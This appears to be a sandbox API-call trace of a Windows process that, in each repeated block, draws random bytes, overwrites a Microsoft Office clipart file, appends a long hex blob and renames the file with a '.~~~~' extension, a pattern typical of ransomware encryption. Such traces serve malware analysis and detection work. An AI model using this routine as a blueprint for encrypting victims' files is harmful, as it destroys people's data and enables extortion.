	[0104.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.788] GetLastError () returned 0x0
	[0104.788] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.790] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.790] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.790] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22478015037) returned 1
	[0104.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa821d6b0, dwHighDateTime=0x1d60e1e)) 
	[0104.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c7c8
	[0104.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0104.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c7c8 | out: hHeap=0x300000) returned 1
	[0104.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0104.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869fc8
	[0104.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.791] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.791] GetLastError () returned 0x0
	[0104.791] GetLastError () returned 0x0
	[0104.791] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.791] GetLastError () returned 0x0
	[0104.791] GetLastError () returned 0x0
	[0104.794] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff7f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.794] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x80c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x80c, lpOverlapped=0x0) returned 1
	[0104.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.796] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.796] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.796] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.796] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.796] CloseHandle (hObject=0x144) returned 1
	[0104.796] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.796] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.~~~~")) returned 1
	[0104.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.802] GetLastError () returned 0x0
	[0104.803] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.805] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.805] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.805] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22479500809) returned 1
	[0104.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8243810, dwHighDateTime=0x1d60e1e)) 
	[0104.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c800
	[0104.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0104.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c800 | out: hHeap=0x300000) returned 1
	[0104.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0104.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a060
	[0104.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.806] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.806] GetLastError () returned 0x0
	[0104.806] GetLastError () returned 0x0
	[0104.806] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.806] GetLastError () returned 0x0
	[0104.807] GetLastError () returned 0x0
	[0104.901] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe2b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.901] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1d4a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x1d4a, lpOverlapped=0x0) returned 1
	[0104.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.903] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.903] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.903] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.903] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.903] CloseHandle (hObject=0x144) returned 1
	[0104.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0104.904] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.~~~~")) returned 1
	[0104.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.905] GetLastError () returned 0x0
	[0104.905] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2941768) returned 1
	[0104.907] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.907] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.907] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22489711364) returned 1
	[0104.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa834e1b0, dwHighDateTime=0x1d60e1e)) 
	[0104.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c988
	[0104.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c988 | out: hHeap=0x300000) returned 1
	[0104.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0104.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a0f8
	[0104.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.908] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.908] GetLastError () returned 0x0
	[0104.909] GetLastError () returned 0x0
	[0104.909] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.909] GetLastError () returned 0x0
	[0104.909] GetLastError () returned 0x0
	[0104.912] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff7e32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.912] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x81ce, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x81ce, lpOverlapped=0x0) returned 1
	[0104.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.913] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.914] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.914] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.914] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.914] CloseHandle (hObject=0x144) returned 1
	[0104.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0104.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.~~~~")) returned 1
	[0104.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.915] GetLastError () returned 0x0
	[0104.916] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2941768) returned 1
	[0104.917] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.917] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.917] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22490752296) returned 1
	[0104.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa834e1b0, dwHighDateTime=0x1d60e1e)) 
	[0104.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c9c0
	[0104.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c9c0 | out: hHeap=0x300000) returned 1
	[0104.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0104.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a520
	[0104.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.918] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.918] GetLastError () returned 0x0
	[0104.919] GetLastError () returned 0x0
	[0104.919] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.919] GetLastError () returned 0x0
	[0104.919] GetLastError () returned 0x0
	[0104.921] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffdbb6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.921] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x244a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x244a, lpOverlapped=0x0) returned 1
	[0104.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.922] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.922] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.923] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.923] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.923] CloseHandle (hObject=0x144) returned 1
	[0104.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0104.923] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.~~~~")) returned 1
	[0104.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.924] GetLastError () returned 0x0
	[0104.924] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2941768) returned 1
	[0104.925] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.925] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.925] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22491531047) returned 1
	[0104.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8374310, dwHighDateTime=0x1d60e1e)) 
	[0104.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c9f8
	[0104.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c9f8 | out: hHeap=0x300000) returned 1
	[0104.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0104.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a5b8
	[0104.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.926] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.926] GetLastError () returned 0x0
	[0104.926] GetLastError () returned 0x0
	[0104.926] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.926] GetLastError () returned 0x0
	[0104.926] GetLastError () returned 0x0
	[0104.928] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffba5e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.928] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x45a2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x45a2, lpOverlapped=0x0) returned 1
	[0104.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.930] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.930] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.930] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.930] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.930] CloseHandle (hObject=0x144) returned 1
	[0104.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
